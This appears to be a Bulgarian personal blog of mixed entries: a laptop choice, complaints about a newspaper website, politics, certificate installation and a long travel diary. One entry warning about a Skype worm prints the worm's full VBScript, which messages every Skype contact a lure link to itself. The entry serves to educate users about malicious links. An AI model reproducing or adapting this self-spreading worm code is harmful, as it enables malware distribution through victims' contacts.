Късчета живот
Днес попаднах на много интересно, подробно и описателно видео относно това какво е RSS и как той може да се използва за следене на новини, блогове и т.н. сайтове, които генерират ново съдържание от време на време.
Ако някой не знае какво е RSS четец (още казано RSS Reader), да гледа видеото. Разбира се, то е на английски. Но за сметка на това е много добро.
Избираме нов ноутбук за :Веси:. Избираме го от доста време, но все още не можем да вземем решение (две Везни, нали знаете как е…). Вариантите са или MacBook, или каквото и да е друго (вероятно Dell или малък таблет HP).
Мак не знам дали ще вземем, но Apple Mighty Mouse вече си имам :). Доста скъпа, но и доста красива.
Функционална тя засега е, както би казал учителя Йода, но явно цялата ѝ красота ще се види само под Маковската ОС, защото под Windows си я разпознава като стандартна bluetooth мишка. А съм чувал, че под Мак има интересни функции – можеш да си я блъскаш отляво/отдясно и тя прави разни номера :).
Нямах търпение да я пусна. Пуснах я и съм много доволен. Trackball-а ми се вижда малко афифен, дано не опираме до гаранция скоро.
Ще пиша после, ако има някакви проблеми. Ако не пиша, значи всичко е ОК.
Преди време имах известни грижи покрай електронния ми абонамент в КАПИТАЛ. Тогава нещата се разрешиха перфектно, просто екипът е железен.
Напоследък обаче съм леко разтревожен. КАПИТАЛ и ДНЕВНИК за мен нямат алтернатива, а това което се случва от известно време насам откък техническото осигуряване на сайта сериозно ме обезпокоява.
Какво всъщност наблюдавам отскоро.
Поглеждайки си кореспонденцията ми прави впечатление, че до сега ми се е налагало да рапортувам проблеми три пъти: февруари, юли и август. Налага ми се и днес, така че вече за статистиката го има и септември. Забелязвате ли повишаването на честотата? Имам чувството, че машината която движи сайта (по-точно техническата ѝ страна) започва все по-често да издиша. Аз определено не съм човек, който да е неграмотен по тази част. И щом на мен ми се налага да пиша за проблеми, обикновено това се оказват истински такива.
Днешния кутзуз накратко:
* Влизам сутринта да си взема новичкия, топъл брой на PDF. Няма по-голям кеф за мен от това да си сваля събота сутрин новия брой, да се изтегна на дивана и да го прочета (е, поне статиите, които представляват “моментален” интерес). Принципно му отделям поне час, и това е най-интензивното време, когато си чета вестника;
* Да, обаче с влизането браузъра ми изплюва някаква абсурдна грешка, която много прилича на гръмване в сървъра на Капитал при опит да ми се сервира страницата. Решавам аз да си изтрия всички куки от Капитал и Дневник, за да дам шанс на сървъра да забрави проблемната сесия и да ми отвори нова.
* Така и правя. Избирам всички куки, изтривам ги (както Капиталните, така и Дневнишките, знам че сървъра като нищо може да е същия).
* Посещавам страницата отново, пробвам логин и получавам грешка, която този (първия) път звучи логично: “Зададеното потребителско име и парола се използват от друг компютър. Опитайте след около половин час”.
* Ядосан зарязвам страницата, кълнейки лошия късмет. Правя нещо друго поне половин час.
* Пробвам пак. “Зададеното потребителско име и парола се използват от друг компютър. Опитайте след около половин час”. Сега вече започвам да усещам дежа-вуто отпреди 3 седмици, когато (пак) имах проблеми с този сайт. Пиша е-поща на стабилен човек от сайта, който задочно познавам;
* Изчаквам поне 40 минути. Пробвам пак. “Зададеното потребителско име и парола се използват от друг компютър. Опитайте след около половин час”. <censored>!@!@beep#!@#beep#!!@#</censored>Вече съм сериозно вбесен и ми е ясно, че и тази събота няма да чета КАПИТАЛ.
Това е. Сега ме е яд даже като пиша тези редове. Яд и страх едновременно, защото дори КАПИТАЛ да не се оправят, за мен няма друга алтернатива. Поне не и електронна, или не съм я открил все още. Ще съм принуден да се съобразявам с всички грешки и проблеми на сайта и да си псувам, защото ако искам да прочета българска преса, която да е “нормална”, просто няма кой друг да чета.
Пиша редовете тук с надежда да стигнат до някой, който може да помогне. За мен всички заредили се един след друг проблеми са индикация, че нещо сериозно куца в техническия екип. Куцането е още по-куцо (извинете каламбура тук), защото на сайта на КАПИТАЛ му липсва 24/7 официална поддръжка. Хората официално си почиват и няма такъв, на който да му е работа да му пука, че някой (който си е и платил!) не може да си прочете вестника навреме. И с удоволствието, което заслужава.
КАПИТАЛци, моля ви, направете нещо. Не се превръщайте постепено в [поредната] българска медия с редовно окуцял сайт. Знам, че правите много нововъведения, знам че няма безгрешни програмисти (това __добре__ го знам, повярвайте!). Не позволявайте на нововъведенията да създават негативни емоции на вашите почитатели. Особено събота сутрин. Защото аз __няма откъде__ да си го купя на хартия.
Решихме към края на октомври да направим 4 дневно пътуване до Стокхолм. :Веси: намери евтини билети през Sterling, осигурихме си и евтин хотел (_не_ през Стърлинг, защото те са скъпари!), и вече имаме всичко резервирано и готово. Остава да дойде 22.10.
От сега точа зъбки за снимки там. Дано улучим хубаво време!
Отначало мислех да пиша коментар към статията на г-н Димитров, но след това реших да коментирам тук, а после да сложа връзка към статията в коментарите там.
Да помислим наистина: Защо не живеем по-добре?
Г-н Димитров твърди, че това е заради по-високата от планираната инфлация:
По-високата инфлация означава намаляване на покупателната способност на българските граждани, със същите пари могат да купят по-малко стоки и услуги. Като имаме предвид очакваната висока инфлация се вижда, че дори правителството да увеличи още веднъж пенсиите с 10% от 1 октомври, общото увеличение за цялата година ще бъде около 7%, колкото се очаква да бъде и инфлацията.
Аз ще си позволя да не се съглася с това.
Според статията на г-н Димитров инфлацията до края на годината ще е 7%. Това ли ни дели от по-добрия живот? Тези ли __седем__ процента? Ако средната заплата е 500 лв в момента, в едно работещо семейство доходът би следвало да е 1000 лв. Ако това работещо семейство казва, че не живее добре с тия 1000 лв, значи ли това че то би живяло добре с 1070 лв (1000 лв + инфлацията)?
Ами според мен – не. Ако 1000 лв не стигат да живееш добре, 7% не могат да ти помогнат. И в това г-н Димитров според мен е сгрешил.
Харесва ми обаче как свършва статията:
Икономиката има нужда от мощен тласък за по-бързо развитие. За целта е необходимо въвеждане на плосък данък от 10% със запазване на необлагаемия минимум и намаляване на осигурителната тежест с повече от 6 процентни пункта.
Няма как да не се съглася! Това си беше в платформата на десните партии тогава, когато аз гласувах за тях. Не за партията на г-н Димитров, но те са си виновни, че така разцепиха дясното тогава. Да се надяваме, че са се научили.
Плосък данък ще се въведе от догодина. Вярно, заедно с въвеждането му ще последва и увеличаване на една от най-големите тежести за бизнеса, а именно [здравно/пенсионно] осигурителната такава, понеже МРЗ ще стигне 220 лв. Но не може да очакваме от комунисти логично мислене, нали? Да се надяваме, че промяната въпреки всичко ще е за добро.
Ако обаче се върнем на самото заглавие: “Защо не живеем по-добре”. Според мен има няколко причини за това:
### Масата хора в активна възраст не работят добре.
За да живееш добре, трябва да работиш добре. Ако работиш зле, много вероятно е, че ще живееш зле. Например (и сега ще ме очерните, знам!):
* __Учителите__. Реват за високи заплати. Но искат да работят както до сега. Искат масата от тях да не четат, да разчитат на вехтата си диплома за висше, взета преди 20 години. Дори една учителка по начална математика, ако не чете книги свързани с професията ѝ, само за 5 години ще затъпее и ще се превърне в лелка. Ще се превърне в “даскалка”, която мрази не само професията си, но и децата, на които трябва да дава знания. А дори и да не ги мрази, пак няма да може да им даде знанията, защото тя няма да им е интересна. Децата се променят, ако не следваш промяната им, ще станеш “даскал”. Подходът “повече пари за учителите, които работят истински” е добър, но защо нямам доверие, че ще се прилага справедливо?
* __Лекарите__. Тук по-добре въобще да не почвам! Какви по-високи заплати, какви 5 лева. Според мен те (лекарите, като съсловие) и до сега вземат безумно много пари (вижте здравния ни бюджет като цяло) за услугата, която предлагат в замяна (българското здравеопазване). Да, ще кажете, генерализирам. Може и да генерализирам, но пък познавам лекари, които не вземат никак лоши пари! Едва ли им “стигат” (на кой му стигат парите?), но в никакъв случай не изнемогват. Тези лекари бачкат __яко__! Четат! Интересуват се от новости! Винаги са на ръба на вълната! Тези лекари могат и заслужават парите, които правят.
Познавам обаче и медицински работници (нарочно не казвам “лекар”), които са там за ден да мине, друг да дойде. Разчитат на една заплата и на където дойде подкуп. Не им пука нито за пациентите им, нито за колегите им. Работата няма значение, “шото парити са малку”. Е, такива медицински работници според мен не трябва да вземат повече пари. Напротив – трябва да вземат по-малко. Да идат в Испания (много е популярно да се говори сега как в Испания плащали мноого повече), да видят дали някой там ще ги трае и един месец, ако работят така, както го правят тук. Но не ходят. Защото и те много добре __знаят__, че за нищо не стават, не и по начина, по който работят.
Мога да продължа много този списък. Мога да го продължа с цялата държавна администрация, чак до неучтивата продавачка от съседното ви магазинче, и тя сърдита за заплатата, която ѝ е малко. Ще спра обаче, защото мисля, че усетихте за какво иде реч. За да живеем по-добре, всички ние трябва и да работим по-добре. Да работим, да се борим _самите ние_ с _нашите_ проблеми. Да не чакаме министър или премиер или пък някой блогър-престъпник да ни реши проблемите. Когато видим някой да тараши нечия кола, преди да отминем (даже и преди да се обадим в полицията) поне да се развикаме, да извадим на светло мизерият му. Защото отминавайки я даваме своя принос за това политиците (в случая в лицето на г-н Димитров) да обвиняват инфлацията за това, че не живеем добре.
> > Искам да отбележа, че дълбоко уважавам усилията, които десните хвърлят, за да предотвратят все по-дълбоката дупка, в която сегашното управление се опитва да ни закопава. Заедно с това уважавам и стремежът политик да бъде и блогер. Това е едно от нещата, които ни доближават до нормалните държави.
Вчера :Веси: получи интересно съобщение на шльокавица от една от нейните приятелки в СКАЙП:
> Искам да ти призная , че те обичам много … Просто ме беше срам да ти го кажа преди това (blush) Поздравче за теб миличко : http://lоfffkаmtе.hit.bg/mоqsnimkа.vbs :*
>
> _връзката умишлено е сгрешена тук, за да не кликне някой четящ по погрешка на нея, иначе в SKYPE си беше наред_
При кликване на връзката се отваря стандартен прозорец, който подканя потребителя за “Open” или “Save”. Очаквайки снимка, повечето наивни потребители ще кликнат на Open, след което я получат, я не още едно съобщение и като резултат на машинката им ще се изпълни следната зловредна програма:
on error resume next
set NrrlP = WScript.CreateObject("Scripting.FileSystemObject")
set uDlVA = wscript.createobject("wscript.shell")
set yADAl = WScript.CreateObject("Skype4COM.Skype", "Skype_")
yADAl.Client.Start()
yADAl.Attach()
For Each GAG In yADAl.Friends
yADAl.SendMessage GAG.handle,"Искам да ти призная , че те обичам много ... Просто ме беше срам да ти го кажа преди това (blush) Поздравче за теб миличко : http://lofffkamte.hit.bg/moqsnimka.vbs :* "
next
msgbox "bY GENCHO411 ( http://galaxy.forumi.bg )"
Хубаво е, че бях около Веси, когато тя получи съобщението. 99% съм сигурен, че и тя щеше да се върже. Не че в конкретния случай щеше да се случи нещо по-сериозно (освен шеговито обяснение в любов на нея към всичките ѝ контакти, заедно с връзчица към “снимката” ѝ). Но тази програмка лесно може да се преправи така, че да нанесе сериозна вреда на машината ѝ.
Практически, когато всеки от нас не гледа какво стартира (особено ако е получено от “приятелски” контакт), той рискува данните си, а заедно с това и парите си (възможно е да му вземат всички пароли от IE/firefox например), че и като нищо и сигурността си (адреси и т.н.). Може да ви се струва малко параноично, но ако искате да сте сигурни, че само вие разполагате с компютъра и с данните си, трябва __всеки__ път, когато получите каквато и да е връзка по който и да е чат клиент, да поглеждате разширението ѝ.
Разширението (в случая – vbs) е това, което показва какво точно компютърът ви ще направи с данните, които ще източи от външния сайт. В този конкретен случай VBS е нищо повече освен Visual Basic Script. А това си е програмен език, т.е. оторизирайки (чрез “Open”) изпълнението му вие практически казвате “Направи каквото искаш с този компютър и с данните в него”. Никаква антивирусна, firewall или друга защита в случая няма да ви спаси. Много малко червеи от този вид се разпознават от антивирусните програми – най-вече поради факта, че лесно се променят и всеки злосторник може да го стори. И ако злосторника зариби ваш приятел, и ако вие не обърнете внимание на разширението, лесно може да станете и вие жертва. И след това ще се почнат едни приказки за това кое е по-сигурно и кое не е.
Накратко:
* Гледайте _внимателно_ разширението на всяка връзка, която изпълнявате във вашия компютър. Ако е JPG/BMP/PNG/PCX в повечето случаи сте ОК. Ще пропусна възможността компютърът ви да не е защитен с последните поправки на Windows. Ако това е така, дори отваряне на някой от тези файлове може да нанесе сериозни щети на вас и данните ви. Ако не може да познаете разширението, по-добре не отваряйте връзката. Ако пък много искате да я отворите, попитайте някой професионалист за помощ.
* По принцип работете с не-администраторски привилегии. За жалост, в 99% от компютрите, за които знам (преди Windows Vista) потребителската сметка с която се работи има пълни, администраторски привилегии, което значи че ако злосторник проникне по който и да е начин, може да постави “на колене” цялата система. За това как се работи с не-администраторски привилегии може да пиша някой друг път, ако не ме примързи.
Като цяло съм бил свидетел не на един случай, в който ние обвиняваме операционната система за това, че имаме вирус, червей или spyware. Факт е, че Windows е най-разпространената OS, и като такава е и най-атакуваната. Необразования потребител (а 90% от потребителите са необразовани) обикновено не знаят въобще как да се предпазят, а като стане белята е много по-удобно (и по-човешко :)) да обвиним някой/нещо друго, нали?
Надявам се чатещите непрофита да прочетат това и да го запомнят. Питайте, ако имате въпроси. Защото след това става късно :).
От Blink.nu:
> 
Това определено е измама, но е добре измислена :). BSOD хич не е приложение и хич няма да поиска от UAC разрешение да се покаже. Но идеята е повече от ценна.
Иначе се прибрахме, живи, здрави и уморени от дългата ваканция. Днес сутринта Веси сподели: “Тук съм като на почивка”. Аз обаче не мога да кажа същото.
Смятам да пробвам Archlord. Поканите за нея ми валят след бетата, но не ми се даваше и €1. Сега обаче е безплатна, да видим какво са натъкмили. Тя хич не е нова, просто ми е любопитна дали са “казали” нещо ново в нея…
Една от многото задачи в България беше да регистрирам персонален електронен подпис на мен и :Веси:. Няколко обменени е-пощи с хора от InfoNotary ме убедиха, че мога да разчитам на тази компания (не че имах избор, но се чувствах вече много по-спокоен).
След като купихме сертификатите, по странна причина инсталацията на моя компютър не успя. За това обвинявам основно мен, защото инсталирах през мрежово CD, а не през локалното такова, както беше указано в инструкциите. Като резултат от провалената инсталация, при :Веси: нещата работеха добре, но при мен всичко беше мазало.
Нямах време, чакаше ме почивка, така че оставих нещата да отлежат, разчитайки че след 3 седмици ще се оправят с помощ от съпорта.
Като се прибрах, още първия ден имах работеща инсталация. С няколко думи и уточнения (за което много благодаря на специалистите от InfoNotary) всичко си тръгна, с изключение на едно – по някаква причина основния (root) сертификат на InfoNotary не искаше да се инсталира в моят Trusted Root Certificates склада на моят компютър. Лошо, защото това директно означаваше, че няма как системата да “вярва”, че моят подпис е автентичен.
InfoNotary ми обещаха помощ, но нали сърце юнашко не трае, реших да запретна ръкави сам. В крайна сметка, това е Windows, затова и приех нещата леко лично :).
Първо реших да ровя из публичното пространство. Бях оставил фирменото настрана, но разчитах солидно и на него, ако публичния Internet ме предаде. Разбира се, не се наложи да ползвам други ресурси. Farhan Ahmad (един от многото MVP) е обяснил прекрасно процедурата как да инсталираме сертификат като trusted такъв в цял материал в неговия сайт.
Накратко (и на български):
* Нужен ви е административен режим. Или пускате IE като администратор, или използвате Certificate Manager-а, който така или иначе ще ви поиска административен режим при стартиране
* Различното при Vista е, че трябва __изрично__ да му укажете сертификатът да попадне на локалния компютър. Ако не го направите, процесът вероятно ще се провали:
* Когато дойде ред да указвате складът, където сертификата да се запише, изберете “ръчно” и Browse.
* От новия прозорец изберете “Show physical stores”, след което намерете Trusted Root Certificates и изберете Local Computer. След това ОК.
* Би следвало да виждате вече избран не просто Trusted Root Certificates, а Trusted Root Certificates\Local Computer.
* От там насетне следвайте нормалната процедура.
Всичко е описано детайлно в статията на Фархан, мен ме мързи да пиша повече. Ако имате въпроси – знаете как да ме намерите. Ако не знаете, използвайте коментарите.
С три коли и 11 човека (от тях 3-ма малки, които хич не са за подценяване). Първо един ден в хубава къща в Балабанци. Къщата – хубава, но се оказа че собствениците са от типа хора, които предпочитат “дай си ни наема, но ако може недей да влизаш в къщата и спи в колата”. То не бяха намеци за децата, то не бяха чехли, които да използваме в “хотела”, то не бяха “дайте 20 лева, защото снощи сте използвали вашата скара да си опечете месото, а и защото дойдохте с деца, които цапат повече, а и ние не толерираме посещения с деца”. Неприятна работа, общо взето. Тръгнахме си огорчени и разочаровани, защото мястото наистина беше добро!
Чакам с нетърпение да разбера кога нашенци ще проумеят, че даваш ли си гъза под наем е нормално да очакваш различни размери и различни типове любов в него. Ние си записваме къщата в списък “къщи на ужаса”, където няма да стъпим повече.
Следващите два дни изкарахме в Априлци. Пак в къща, но с коренно различни стопани. Учтиви, внимателни, без _никакви_ грижи. Единственото оплакване, тотално независещо от тях, бяха огромните ята мухи, които обитаваха региона. Не знам с какво ги хранят в това Априлци, но мухите бяха _много_.
Ако случайно ви се случи да отседнете в Априлци и сте много гладни, не ходете в кафе-ресторанта “Маями”. Ние направихме грешката да стъпим там за вечеря. И съжалихме. Кухнята е добра, но _бавна_. От влизането ни докато получихме цялата си поръчка минаха два часа и двадесет минути. Т.е. на персонала му коства 140 минути да нахрани 11 човека. Със съвсем нормални поръчки, нищо кой-знае колко сложно за приготвяне. Яденето, пак да кажа, си го биваше, но кой е съгласен да чака два часа, за да си получи “керемидката” с нещото там вътре?
Втория ден в Априлци посветихме на проучване на региона. Открихме хотел “Панорама”. Невероятно добро место, явно създадено след закупуване и реконструкция на част от пост-социалистически почивен комплекс. Нелош тризвезден хотел, басейн, ресторант-кафе и всичко това оградено от направо вълшебна гледка към Стара планина и връх Ботев. Всички приятели останахме на мнение, че със сигурност ще се върнем там, този път за повече от бързо кафе или закуска в ресторанта. Надявам се фактът, че е семеен бизнес, го държи винаги на ниво и с учтив персонал.
Част от втория ден беше и посещението на Троянския манастир. Аз лично бях (отново) отвратен от гнусната комерсиалност, навлязла дълбоко зад вратите на манастира. Това ли е религията, чийто месия изгони търговците от храма преди близо 2000 години? Срам, грозота, глъч, тенекиени кръстчета от лев и петдесет, гарнирани с __продажба__ на “светена” вода, бутилирана в пластмасови бутилки по 0.5 л. Признавам си, отвратително беше. Чужденците може и да го харесват, но аз отидох там само и единствено за печата в книжката. И не смятам да се връщам.
Същия този ден ми се случи и неприятна случка. Опитвайки да отключа вратата на автомобила си, фото чантата ми се изхлузи и въпреки усилията ми да олекотя удара, без да счупя ключалката на колата (в която вече имаше наполовина пъхнат ключ), чантата се стовари на земята. Очаквах да е без последствия, освен уплах, но бърз преглед показа, че последствия има. Слава Богу – не най-лошото. Скъпият обектив беше невредим, може би благодарение на защитената (все пак) чанта, капачката и филтъра. Но филтърът се беше спукал сериозно, поемайки основната част от удара. С голяма благодарност към мъртвия вече филтър го отвих, почистих внимателно обектива, и го смених със стария, докато си намеря нов филтър (мислех си, че ще е лесна работа, но не беше така). Щях да снимам със стария 18-55, докато намеря нов 77мм УВ филтър.
Четвъртия ден на обиколката мина в път към Търново. По пътя минахме за кратко през Батошевския мъжки манастир. Това не е вече манастир, понеже вътре няма нито един духовник. Но може би и заради това това место приличаше най-много на манастир, такъв какъвто поне аз си го представям. Малко, тихо место, чиста и спретната църква, усмихнати стопани на манастира, светещ от чистота, зелен двор, пеещи птички, и като цяло – спокойствие. Чиста есенция на спокойствие, от типа от който всеки има нужда понякога.
Жалко, че нямахме повече време, за да се насладим на това място. Търново ни чакаше, а до там оставаше доста път. Но Батошевския манастир също остава в списъка места, които си струват.
След манастира се отбихме за кратко в Боженци. Поседнахме в механа, където въпреки жегата не ни предложиха голяма бутилка минерална вода. Понеже ми беше писнало от евтини трикове да се направят “големите пари” станах, отидох до отсрещния магазин и си купих 1.5л Девин. Не посмяха да ми правят забележка, може би заради гузна съвест. Принципно нямах нищо против да си купя водата и от механата, ако разбира се бяха осигурили това, от което имам нужда.
След като обядвахме набързо (много вкусни тиквички с кисело мляко!) поогледахме Боженци. Нищо особено, честно казано. Комерсиален резерват от стари къщи. Не знам защо ме дразнят подобни неща, може би трябва да свикна да ги приемам. Има ли начин от едно нещо да се правят пари, предприемчиви люде ще започнат да ги правят, използвайки начини, които хич не е задължително да ми харесват на мен точно.
След Боженци минахме през пещерата Бачо Киро, както и през Дряновския манастир. Бях потресен от огромната промяна в пещерата. Преди беше една разкаляна пътека и една неработеща пещера. Сега е прекрасна пътека до самата пещера. А пещерата е осветена и работеща с два маршрута. Браво на хората, направили това възможно само за 3-4 години. Всеки път, когато видя такава промяна, ми става много приятно.
Търново се е превърнал в много красив град. Жив, уреден (изключения правят, разбира се, пътищата). От това, което видях за краткия ни престой там мога да кажа, че посоката е правилна. Преди няколко години пак бяхме там, сега видях приятна промяна. Ще ми се с всичко да беше така.
В Търново минахме през Царевец. Не знам защо този път не ми хареса чак толкова. Може би защото го нямаше ефектът на първото посещение? Или “църквата” на върха с най-грозните стенописи, които засега съм виждал? Разбрах, че Светлин Русев е спечелил проекта за изписването на църквата. Е, на мен, нищо не разбиращия от такива работи, резултатът по-скоро ми прилича на рисувано от нескопосани бояджии. Издължени, грозни физиономии с ръце, наподобяващи илюстрация на треторазрядна руска книга за извънземни, която е рисувана в края на 60те години на миналия век. Грозно, та дрънка. Отврат!
Останалата част от Царевец си беше просто… Царевец. Древно место, където сигурно не можеш да намериш и квадратен метър земя, която да не е била напоена с кръв. Не можах да разбера откъде ни в клин, ни в ръкав се беше взела една римска колона там, но… сигурно някой е имал добра причина за това :).
Съжалих много, че точно този ден трябва да снимам със стария обектив, но ме беше много страх да използвам новия без никаква защита (не толкова УВ, колкото чисто физическа), затова 17-40-ката си стоеше добре опакован в куфара.
След Велико Търново отскочихме и до Велики Преслав. И там имахме руини и музей за разглеждане. Слушахме, гледахме, снимахме, някои търчаха и се опитваха да не си изпотрошат коленете из тези руини.
Като цяло мога да кажа, че Велики Преслав може да е бил велик преди, но сега е едно западнало градче (селце?). За разлика от повечето места, които видяхме, Преслав се нарежда до бедните места, все още притежаващи така характерната за социализма разруха.
След Търново и Преслав дойде ред на Шумен и Мадарския конник. След като пристигнахме при конника (добре, че имахе предварителни резервации, че беше събота и всичко беше пълно) видяхме, че е късно за разглеждане и вместо това отидохме в заведението “Хан”, точно под музея. Интересното на този “хан” беше, че менюто беше точно една ламинирана страничка, ракиите бяха по 40 грама (2 лв), пържовилите бяха описани като 2 лв/50 гр (т.е. читава пържола отиваше към десет лева). На въпросите ни относно тези странности сервитьорът отговори, че това било място за по-изискани хора, на което ние просто нямаше какво да добавим. Не че изглеждахме изискано де, имахме наглостта да сме облечени като за в планина, а и задавахме явно неудобни въпроси. Но въпреки това (и въпреки цените) бяхме твърде гладни и уморени, за да търсим нов “хан”. Останахме, ядохме и пихме изискано, и платихме една твърде изискана сметка за не кой-знае какво ядене. Честно казано – не ми хареса. Не ви го препоръчвам, а и аз не бих отишъл там отново.
Вечерта при Мадарския конник мина бързо и на другия ден видяхме и самото место. Веси и Юли решиха да ходят и до крепостта, аз, Мими и децата ги изчакахме в кафенето на сладка приказка. Те се върнаха доста впечатлени (и доста бързо), което иде да покаже че ни бяха поизлъгали относно разстоянията и височините до тази крепост.
Събрахме багажите и отцепихме към Шуменската крепост. Разгледахме я, дори по-детайлно отколкото ми се щеше, и след това със страшна сила отцепихме към Варна. Вече бях говорил с Жоро и там, в специален магазин, ме чакаше моят бъдещ 77мм филтър. След час път и половин час лутане из Варна вече държах моят обектив с навит на него филтър, така че почивката на море можеше да започне.
На море – като на море (с деца). Освен безкрайните (скучни) плажове, ходихме и до Ботаническата градина и двореца в Балчик. Калиакра също не я пропуснахме.
Като цяло – много динамични две седмици. Ако не бях писал горния текст в продължение на дни, едва ли щеше да ми се и пише толкова. Със сигурност пропускам купища неща, но на който му се гледа повече – ето целия албум :).
Моят туитър, останалото би следвало да го знаете 🙂